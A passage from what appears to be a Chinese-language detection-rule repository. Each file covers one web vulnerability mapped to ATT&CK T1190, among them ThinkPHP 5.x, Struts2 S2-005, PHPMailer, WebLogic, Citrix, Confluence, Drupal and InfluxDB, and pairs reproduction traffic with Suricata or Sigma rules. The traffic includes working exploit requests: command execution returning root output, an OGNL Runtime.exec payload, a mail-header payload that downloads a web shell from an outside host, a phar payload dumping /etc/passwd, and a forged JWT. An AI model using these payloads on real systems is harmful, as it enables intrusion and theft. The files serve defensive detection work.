5.0.全版本,经过其他安全人员实际测试,并非针对5.0全版本 实际影响范围: ``` yml 版本名 是否可被攻击 攻击条件 5.0.0 否 无 5.0.1 否 无 5.0.2 否 无 5.0.3 否 无 5.0.4 否 无 5.0.5 否 无 5.0.6 否 无 5.0.7 否 无 5.0.8 是 无需开启debug 5.0.9 是 无需开启debug 5.0.10 是 无需开启debug 5.0.11 是 无需开启debug 5.0.12 是 无需开启debug 5.0.13 是 需开启debug 5.0.14 是 需开启debug 5.0.15 是 需开启debug 5.0.16 是 需开启debug 5.0.17 是 需开启debug 5.0.18 是 需开启debug 5.0.19 是 需开启debug 5.0.20 否 无 5.0.21 是 需开启debug 5.0.22 是 需开启debug 5.0.23 是 需开启debug ``` ## 检测日志 HTTP ## 测试复现 更多POC请参考: ``` yml GET /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id HTTP/1.1 Host: 172.17.41.103:33349 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Host: 172.17.41.103:33349 Date: Mon, 10 Aug 2020 16:44:19 +0800 Connection: close X-Powered-By: PHP/7.2.12 Content-type: text/html; charset=UTF-8 uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) ``` ## 检测规则/思路 ### Suricata规则 ``` s alert http any any -> any any (msg:"CNVD-2018-24942-thinkphp5.x任意代码执行漏洞";flow:established,to_server;content:"GET";http_method;content:"/index.php/?s=index/";pcre:"/call_user_func_array/";http_uri;reference:url,blog.csdn.net/weixin_40709439/article/details/86564457;classtype:web-application-attck;sid:3002021;rev:1;) ``` ### 建议 流量+安全设备比较容易检测到此攻击行为。 ## 参考推荐 MITRE-ATT&CK-T1190 thinkphp5.0和5.1 rce poc总结 ================================================ FILE: Web/long time/T1190-CVE-2010-1870-S2-005远程代码执行.md ================================================ # T1190-CVE-2010-1870-S2-005远程代码执行 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。 影响版本:2.0.0 - 2.1.8.1 ## 检测日志 HTTP ## 测试复现 Burp抓包,修改参数 ``` yml ?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 ``` ## 测试留痕 ``` yml GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/yun%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1 Host: 192.168.60.131:8080 Pragma: no-cache Cache-Control: no-cache DNT: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.60.131:8080/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: pma_lang=zh_CN; pmaUser-1=%7B%22iv%22%3A%22wtmbqwF8evsRAFy6MdC8Og%3D%3D%22%2C%22mac%22%3A%22f9971a0e2275abe89b4ef530bd3450014d701d5d%22%2C%22payload%22%3A%22O%5C%2FIN3WNFI3c21DrYtH7Pug%3D%3D%22%7D; PHPSESSID=57bf9020b21df668496392730ae25830; JSESSIONID=A399DB5AC14D038F86DAD2623E09D1E7 Connection: close HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Content-Length: 416 Date: Thu, 22 Oct 2020 01:33:35 GMT Connection: close----------------- Struts is up and running ...

Struts is up and running ...

Languages

``` ## 检测规则/思路 ### Suricata规则 ``` s alert http any any -> any any (msg:"CVE-2010-1870-S2-005";flow:established,to_server;content:"GET";http_method;content:"/example/HelloWorld.action";pcre:"/allowStaticMethodAccess/";pcre:"/xwork.MethodAccessor.denyMethodExecution/";http_uri;reference:url,blog.csdn.net/weixin_43416469/article/details/113849099;classtype:web-application-attck;sid:3002021;rev:1;) ``` ### 建议 流量+安全设备比较容易检测到此攻击行为。 ## 参考推荐 MITRE-ATT&CK-T1190 Struts2_005_RCE CVE-2010-1870漏洞复现 Apache Struts2远程代码执行漏洞检测与利用S2-005(CVE-2010-1870) ================================================ FILE: Web/long time/T1190-CVE-2016-10033-PHPMailer<5.2.18远程代码执行.md ================================================ # T1190-CVE-2016-10033-PHPMailer<5.2.18远程代码执行 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。 影响版本:WordPress <= 4.7.1 PHPMailer < 5.2.18 ## 检测日志 HTTP ## 测试复现 具体测试过程请参考: ``` yml POST /wp-login.php?action=lostpassword HTTP/1.1 Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}www.mzxh.xyz${substr{0}{1}{$spool_directory}}tools${substr{0}{1}{$spool_directory}}shell.php}} null) Content-Length: 56 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://172.17.41.103:44397 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://172.17.41.103:44397/wp-login.php?action=lostpassword Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: wordpress_test_cookie=WP+Cookie+check Connection: close user_login=admin&redirect_to=&wp-submit=Get+New+Password HTTP/1.1 302 Found Date: Wed, 05 Aug 2020 07:59:44 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.21 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/ X-Frame-Options: SAMEORIGIN Location: wp-login.php?checkemail=confirm Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 ``` ## 检测规则/思路 ### Suricata规则 ``` s alert http any any -> any any (msg:"CVE-2016-10033-rqs";flow:established,to_server;content:"POST";http_method;content:"/wp-login.php?action=lostpassword";http_uri;content:"Get+New+Password";http_client_body;flowbits: set, first_get_rqs; noalert;reference:url,cloud.tencent.com/developer/article/1043654;classtype:web-application-attck;sid:1;rev:1;) alert http any any -> any any (msg:"CVE-2016-10033-PHPMailer<5.2.18远程代码执行漏洞";flow:established;content:"302";http_stat_code;flowbits:isset,first_get_rqs;reference:url,cloud.tencent.com/developer/article/1043654;classtype:web-application-attck;sid:2;rev:1;) ``` ### 建议 流量+安全设备比较容易检测到此攻击行为。 ## 参考推荐 MITRE-ATT&CK-T1190 WordPress 4.6远程代码执行漏洞(CVE-2016-10033)复现环境搭建指南 WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033)复现分析 ================================================ FILE: Web/long time/T1190-CVE-2018-2894-Weblogic任意文件上传检测.md ================================================ # T1190-CVE-2018-2894-Weblogic任意文件上传检测 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。 Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制。两个页面分别为/ws_utc/begin.do、/ws_utc/config.do。 漏洞影响范围: weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3。 ## 检测日志 HTTP.log ## 测试复现 漏洞利用建议参考: Weblogic任意文件上传漏洞(CVE-2018-2894)复现 ## 测试留痕 暂无实测,故无留痕。直接引用漏洞利用建议参考中的案例数据进行特征提取。 ## 检测规则/思路 ### Sigma规则 建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。 ``` yml title: Oracle WebLogic漏洞利用Z description: 检测对放入WebLogic服务器上密钥库文件夹中的webshell的访问 author: Florian Roth translator: 12306Bro date: 2018/07/22 modified: 2020/03/14 status: experimental references: - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2894 - https://blog.csdn.net/weixin_43625577/article/details/97001677 logsource: category: webserver detection: selection: c-uri: - '*/config/keystore/*.js*' condition: selection fields: - c-ip - c-dns falsepositives: - Unknown level: critical ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1190 Weblogic任意文件上传漏洞(CVE-2018-2894)复现 ================================================ FILE: Web/long time/T1190-CVE-2019-19781-远程代码执行检测.md ================================================ # T1190-CVE-2019-19781远程代码执行 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 Citrix旗下多款交付控制器和网关存在RCE漏洞,攻击者在无需身份验证的情况下就可执行任意命令。根据其他安全网站的说法,这个RCE漏洞会有一个标记漏洞(其中之一的标记),即本次报道的Citrx路径遍历漏洞(CVE-2019-19781)。Citrx路径遍历漏洞(CVE-2019-19781)利用方式的PoC已被公开。该漏洞利用复杂性低,且无权限要求,攻击者只能遍历vpns文件夹,但攻击者可能利用Citrx路径遍历漏洞进行RCE漏洞试探,从而发起进一步精准攻击。 漏洞影响范围: Citrix NetScaler ADC and NetScaler Gateway version 10.5 Citrix ADC and NetScaler Gateway version 11.1 , 12.0 , 12.1 Citrix ADC and Citrix Gateway version 13.0 ## 检测日志 HTTP.log ## 测试复现 漏洞利用过程: 1.pl文件未对NSC_USER参数传入进行过滤 2.触发目录穿越 3.在模板目录的XML文件写入命令 4.模板引擎分析后执行命令 漏洞利用建议参考: CVE-2019-19781 远程代码执行漏洞复现 Citrix路径遍历(CVE-2019-19781) ## 测试留痕 暂无实测,故无留痕 ## 检测规则/思路 ### Sigma规则 建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。 ``` yml title: 检测Citrix CVE-2019-19781漏洞利用行为 references: - https://www.jianshu.com/p/03b175711524 - https://www.jianshu.com/p/03b175711524 status: experimental logsource: category: webserver detection: selection: c-uri: - '*/../vpns/*' #根据此次公开的PoC显示,该洞目录遍历被限制子在vpns文件夹下,任意用户可通过HTTP请求直接访问该目录下的文件。 - '*/vpns/cfg/smb.conf' #根据此次公开的PoC显示,该洞目录遍历被限制子在vpns文件夹下,任意用户可通过HTTP请求直接访问该目录下的文件。 - '*/vpns/portal/scripts/*.pl*' #利用目录穿越写入命令语句到newbm.pl文件中 condition: selection fields: - client_ip - vhost - url - response falsepositives: - Unknown level: critical ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1190 ================================================ FILE: Web/long time/T1190-CVE-2019-3398-Confluence路径穿越漏洞.md ================================================ # T1190-CVE-2019-3398 Confluence路径穿越漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 Confluence Server和Data Center在downloadallattachments资源中存在路径穿越漏洞。 在Page或Blogs具有添加附件权限的用户,或具有创建新空间或个人空间权限的用户,或对某空间具有“管理员”权限的用户可利用此路径穿越漏洞将文件写入任意位置。一定条件下可以执行任意代码。 漏洞影响范围: 2.0.0 <= version < 6.6.13 6.7.0 <= version < 6.12.4 6.13.0 <= version < 6.13.4 6.14.0 <= version < 6.14.3 6.15.0 <= version < 6.15.2 ## 检测日志 HTTP.log ## 测试复现 漏洞利用建议参考: (环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞 ## 测试留痕 暂无实测,故无留痕。直接引用漏洞利用建议参考中的案例数据进行特征提取。 ![POST请求数据包](https://img-blog.csdnimg.cn/20200402185139129.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTg5MjU4,size_16,color_FFFFFF,t_70) ## 检测规则/思路 ### Sigma规则 建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。 ``` yml title: Confluence_CVE-2019-3398漏洞利用行为检测 status: experimental description: 检测CVE-2019-3398中描述的路径穿越漏洞的利用行为 references: - https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181 - https://blog.csdn.net/qq_40989258/article/details/105274370 author: Florian Roth translator: 12306Bro date: 2020/05/26 tags: - attack.initial_access - attack.t1190 logsource: category: webserver detection: selection: cs-method: 'POST' c-uri|contains|all: - '/upload.action' - 'filename=../../../../' condition: selection fields: - c-ip - c-dns falsepositives: - Unknown level: critical ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1190 (环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞 ================================================ FILE: Web/long time/T1190-CVE-2019-6339-Drupal远程代码执行漏洞.md ================================================ # T1190-CVE-2019-6339-Drupal 远程代码执行漏洞------ ## 来自ATT&CK的描述------ 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。------ 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。------ 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。------ ## 测试案例------ Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。人们通常将Drupal拿来和另一个著名的开源CMS,即Joomla进行比较。由于“难度”更大而中文资源较Joomla更少,Drupal在中国的普及程度较Joomla更低。------ Drupal core 7.62之前的7.x版本、8.6.6之前的8.6.x版本和8.5.9之前的8.5.x版本中的内置phar stream wrapper(PHP)存在远程代码执行漏洞。远程攻击者可利用该漏洞执行任意的php代码。------ 在Drupal Core版本7.x之前的7.62,8.6.x之前的8.6.6和8.5.x之前的8.5.x; 在对phar://URI执行文件操作时,PHP的内置phar流包装器中存在一个远程执行代码漏洞。一些Drupal代码(core,contrib和custom)可能正在对用户输入执行文件操作,从而暴露于此漏洞。------ ## 检测日志------ HTTP------ ## 测试复现------ 具体利用过程可参考:------ ## 测试留痕------ ``` yml POST /admin/config/media/file-system HTTP/1.1 Host: 172.17.41.106:8080 Connection: keep-alive Content-Length: 340 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://172.17.41.106:8080 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://172.17.41.106:8080/admin/config/media/file-system Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,be;q=0.8 Cookie: 8ciy_2132_ulastactivity=1747%2BBj3bIdraT%2FhUrMgbV9hBzsnRDad5PbJ4P8FXwvrlsfGVbOx; 8ciy_2132_nofavfid=1; 8ciy_2132_saltkey=h7AR59Bx; 8ciy_2132_lastvisit=1603172255; SESS69d0dbb3a7ccb7aab441a7efa90bb8ae=WSVdSnEkxmap5tU9TGG21HegyssjX2hEk8BkBOBEyiU------ file_temporary_path=phar%3A%2F%2F.%2Fsites%2Fdefault%2Ffiles%2Fpictures%2F2020-10%2Fblog-ZDI-CAN-7232-cat.jpg&file_default_scheme=public&temporary_maximum_age=21600&form_build_id=form-iN0z3-CojyQl7PlFGKxsy68XNcyvFaBLtQY_ffo-efA&form_token=VUzTpwLaFD0IW9_2rt9ntjULAJ_euh4ZmJkcEJAdEfI&form_id=system_file_system_settings&op=Save+configurationHTTP/1.1 200 OK Date: Wed, 21 Oct 2020 07:58:45 GMT Server: Apache/2.4.25 (Debian) X-Powered-By: PHP/7.2.3 Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 5215 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8------ root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false ------ File system | drupal - -------------------------------------------------------------------------------------------------------------------------- ------
- -----
------
---------------------------------------------------------------------------------

File system

Add to Default shortcuts------
------
------
------
---------------------------------------------------------------------------------------------------------------------------
- -------------------------------------------------------------------------------------------------------------------------- ------
------
------
---------------------------------------------------------------------------------------------------------------------------------
------
- -----
- --------------------------------------------------------------------------------------------------------------------------
sites/default/files
A local file system path where public files will be stored. This directory must exist and be writable by Drupal. This directory must be relative to the Drupal installation directory and be accessible over the web. This must be changed in settings.php
http://172.17.41.106:8080/sites/default/files
The base URL that will be used for public file URLs. This can be changed in settings.php
Not set
An existing local file system path for storing private files. It should be writable by Drupal and not accessible over the web. This must be changed in settings.php
------
A local file system path where temporary files will be stored. This directory should not be accessible over the web.
Default download method
------
------
This setting is used as the preferred download method. The use of public files is more efficient, but does not provide any access control.
Temporary files are not referenced, but are in the file system and therefore may show up in administrative lists. Warning: If enabled, temporary files will be permanently deleted and may not be recoverable.
------
------
------
------
------
------
- -------------------------------------------------------------------------------------------------------------------------- ------ ------ ------ ``` - ----- ## 检测规则/思路------ ### Suricata规则------ ``` s alert http any any -> any any (msg:"CVE-2019-6339-Drupal远程代码执行漏洞";flow:established,to_server;content:"POST";http_method;content:"/admin/config/media/file-system";http_uri;content:"phar%3A%2F%2F.%2Fsites%2Fdefault%2Ffiles%2Fpictures%2F";http_client_body;reference:url,blog.csdn.net/qq_40989258/article/details/104970882;classtype:web-application-attck;sid:3002021;rev:1;)------ ``` - ----- ### 建议------ 流量+安全设备比较容易检测到此攻击行为。------ ## 参考推荐------ MITRE-ATT&CK-T1190------ ------ (环境搭建+复现) CVE-2019-6339 Drupal远程代码执行漏洞------ ================================================ FILE: Web/long time/T1190-Influxdb<1.7.6未授权访问漏洞.md ================================================ # T1190-Influxdb<1.7.6未授权访问漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 InfluxDB是一个使用Go语言编写的开源分布式,支持高并发的时序数据库,其使用JWT作为鉴权方式。在用户开启了认证,但未设置参数shared-secret的情况下,JWT的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在InfluxDB中执行SQL语句。 影响版本:Influxdb < 1.7.6 ## 检测日志 HTTP ## 测试复现 具体测试过程请参考: ## 测试留痕 ``` yml POST /query HTTP/1.1 Host: 10.7.2.106:8086 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 Accept: */* Accept-Encoding: gzip, deflate Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjE2MjM5MDIyfQ.9ZTT-ppj20hPXZaUoSxTWf0Mei-idhAU2FaoaQgJJm8 Accept-Language: zh-CN,zh;q=0.9,be;q=0.8 Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 26 db=sample&q=show+users HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: application/json Request-Id: 19c6cf88-1a5b-11eb-800c-000000000000 X-Influxdb-Build: OSS X-Influxdb-Version: 1.6.6 X-Request-Id: 19c6cf88-1a5b-11eb-800c-000000000000 Date: Fri, 30 Oct 2020 02:53:34 GMT Connection: close Transfer-Encoding: chunked 69 ..........,.= . .D...So..^E$H.BP...Fr.`....{.....!N.e....Z...e....h...pe.!.^......*~.L.S..~w......8..c... 0 ``` ## 检测规则/思路 ### Suricata规则 ``` s alert http any any -> any any (msg:"Influxdb<1.7.6未授权访问";flow:established,to_server;content:"POST";http_method;content:"/query";http_uri;content:"db=sample&q=show+users";http_client_body;reference:url,blog.csdn.net/weixin_43416469/article/details/113843301;classtype:web-application-attck;sid:3002021;rev:1;) ``` ### 建议 流量+安全设备较容易检测到此攻击行为。 ## 参考推荐 MITRE-ATT&CK-T1190 influxdb未授权访问漏洞 ================================================ FILE: Web/long time/T1190-IvBulletin5.X-RCE检测.md ================================================ # T1190-vBulletin5.X-RCE检测 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 